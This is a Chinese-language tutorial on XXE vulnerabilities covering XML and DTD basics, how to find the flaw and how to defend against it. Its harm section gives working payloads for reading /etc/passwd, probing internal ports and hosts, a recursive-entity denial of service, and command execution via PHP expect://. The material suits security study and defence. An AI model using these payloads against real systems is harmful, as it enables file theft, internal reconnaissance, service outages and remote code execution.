目錄
一、XXE漏洞簡介
二、XML詳解
(一) XML文檔結構
1. 文檔聲明
2. XML文檔類型定義(DTD)
3. XML文檔元素
4. XML文檔示例
三、XXE漏洞類型
四、XXE漏洞挖掘技巧
五、XXE漏洞危害
(一) 文件讀取
(二) 內網探測
1. 端口探測
2. 主機存活探測
(三) DOS攻擊
(四) RCE
六、XXE漏洞防御
一、XXE漏洞簡介
攻擊者通過在XML數據中惡意構造外部實體聲明(利用SYSTEM關鍵詞),誘使XML解析器(后端語言支持多種XML解析器)讀取本地受保護文件或訪問遠程資源,從而導致敏感信息泄露或SSRF、DOS等安全缺陷。
漏洞存在的前提條件:
- 后端調用
xml
解析器 xml
解析器開啟了外部實體- 應用程序接受用戶的
xml
輸入且未過濾<!DOCTYPE>
或<!ENTITY>
。 - 注:網站開發使用的框架或庫亦或是協議(SAML/SOAP)可能會隱式調用xml解析器。
二、XML詳解
XML(eXtensible Markup Language,可擴展標記語言) 是一種用于存儲和傳輸數據的標記語言(敏感大小寫),類似 HTML,但它的目的不是“顯示”,而是“描述數據結構”。
(一) XML文檔結構
1. 文檔聲明
XML 的第一行通常是聲明版本和編碼格式:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
#version 指定XML版本,常用1.0或1.1
#encoding 指定字符編碼(如UTF-8、ISO-8859-1),默認是UTF-8。
#standalone(可選) 表示是否依賴外部定義(yes表示獨立,no表示可能引用外部DTD)
注:聲明必須位于文檔開頭,不能有前置空格或空行。如果省略,解析器可能假定默認值。
2. XML文檔類型定義(DTD)
定義 XML 中允許的元素、屬性、結構等(類似模板),可以是本地定義,也可以引用外部文件。
DTD的組成:
<!DOCTYPE>
:XML文檔類型聲明_作為 DTD 的入口,指定根元素并引入這些定義(內部或外部)。<!ELEMENT>
:XML類型定義_定義元素及其內容模型(如子元素或文本)<!ATTLIST>
:XML類型定義_定義元素的屬性及其類型、默認值<!ENTITY>
:XML類型定義_定義可重用的實體(如常量或外部資源)
XML文檔定義類型有兩種寫法:
- 內部DTD定義
- <!DOCTYPE 根元素 [元素聲明]>
- 定義在XML文檔內部。
<!DOCTYPE user [< user (id, name)><!ELEMENT id (#PCDATA)><!ELEMENT name (#PCDATA)>
]>
- 外部DTD引用
- <!DOCTYPE 根元素 SYSTEM "文件名">
- 引用外部文件
<!DOCTYPE user SYSTEM "http://xx.com/xx.dtd">
關于<!ENTITY>定義實體的三種類型:
- 內部實體
- 引用:&實體名稱;
<!ENTITY 實體名稱 "實體的值">
<!ENTITY test "123">
- 外部實體
- 引用:&實體名稱;
- SYSTEM用來定義一個“外部實體
<!ENTITY 實體名稱 SYSTEM "URI">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
- 參數實體
- 用 % 聲明實體名稱
- 引用:%實體名稱;
<!ENTITY %實體名稱 "實體的值">
或者<!ENTITY %實體名稱 SYSTEM "URI">
3. XML文檔元素
XML 的主體結構就是由元素組成的,元素是成對的標簽,如 <tag></tag>
,支持嵌套(樹形結構))。
組成部分:
- 根元素:XML文檔必須有且僅有一個根元素,包含所有其他元素。
- 子元素:嵌套在根元素或其他元素內,表達數據的層級關系。
- 屬性:附加在元素標簽中的鍵值對,提供額外信息。
- 文本內容:元素標簽之間的數據(
#PCDATA
表示解析文本數據)。
元素組成規則:
- 根元素:
<user>...</user>
(整個 XML 只能有一個根元素)- 在 XML 中,誰是最外層包裹所有內容的元素,誰就是“根元素”
- 子元素:
<id>,
<name>
(可以嵌套,層級結構) - 屬性(可選):
<user id="123">
(元素也可以用屬性來表示數據)
<!-- 元素方式、元素通常用來表示復雜的數據結構 -->
<age>18</age><!-- 屬性方式、屬性適合存儲附加信息 -->
<user age="18"/>
4. XML文檔示例
- 內部DTD
<?xml version="1.0" encoding="UTF-8"?> <-- 1. XML 聲明
<!DOCTYPE user [ <-- 2. DTD(內部或外部)<!ELEMENT user (id, name)> <-- 定義根元素 user<!ELEMENT id (#PCDATA)> <-- 定義元素 <id> 的內容只能是文本數據<!ELEMENT name (#PCDATA)> <-- 定義元素 <name> 的內容只能是文本數據
]>
<user> <-- 3. 元素部分<id>123</id><name>兔八哥</name>
</user>
- 外部DTD
- 外部 DTD 文件(user.dtd):
<!ELEMENT user (id, name)>
<!ELEMENT id (#PCDATA)>
<!ELEMENT name (#PCDATA)>
- XML 文件(引用外部 DTD):
<?xml version="1.0" encoding="UTF-8"?> <!-- 1. XML 聲明 -->
<!DOCTYPE user SYSTEM "user.dtd"> <!-- 2. 外部 DTD 引用 -->
<user> <!-- 3. 元素部分 --><id>123</id><name>兔八哥</name>
</user>
三、XXE漏洞類型
- 正常回顯XXE
- xml數據被后端語言調用xml解析器處理成功,并且數據在網站中存在回顯位。
- 無回顯(盲)XXE
- xml數據被后端語言調用xml解析器處理成功,數據在網站中不存在回顯位。
- 報錯XXE
- xml數據被后端語言調用xml解析器在解析器處理過程中訪問受限或不存在的資源或其他行為,觸發異常回顯。
四、XXE漏洞挖掘技巧
1.看是否有接口的請求或響應中帶有:
Content-Type: application/xml
Content-Type: application/soap+xml
- 類似帶有xml格式的內容,都可能存在解析xml代碼的情況。
2.查看數據格式是否符合xml特征
- 如標簽成對出現
<a></a>
<id>123</id><name>兔八哥</name>
3.更改Content-Type請求頭為xml類型,請求體修改任意xml內容。
- 查看反饋結果,判斷目標是否能解析xml。
Content-Type: application/xml<?xml version="1.0"?>
<data><msg>test</msg></data>
五、XXE漏洞危害
(一) 文件讀取
PHP中可以通過FILE協議、HTTP協議和FTP協議讀取文件,還可利用PHP偽協議。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
(二) 內網探測
1. 端口探測
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
]>
<msg>&xxe;</msg>
2. 主機存活探測
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://192.168.1.10">
]>
<msg>&xxe;</msg>
(三) DOS攻擊
通過遞歸實體生成指數級內容,耗盡 CPU 和內存。
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>
(四) RCE
expect://
是 PHP 的 expect 擴展提供的協議,允許執行系統命令(如 expect://ls
執行 ls
命令)。
通過 PHP 的 expect://
協議執行系統命令(如 expect://ls
)。
注:基本上網站都不會安裝expect擴展,RCE在XXE漏洞中少見。
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
六、XXE漏洞防御
禁用外部實體、過濾關鍵字(如<!DOCTYPE
、<!ENTITY
、 SYSTEM
等 )、使用WAF產品。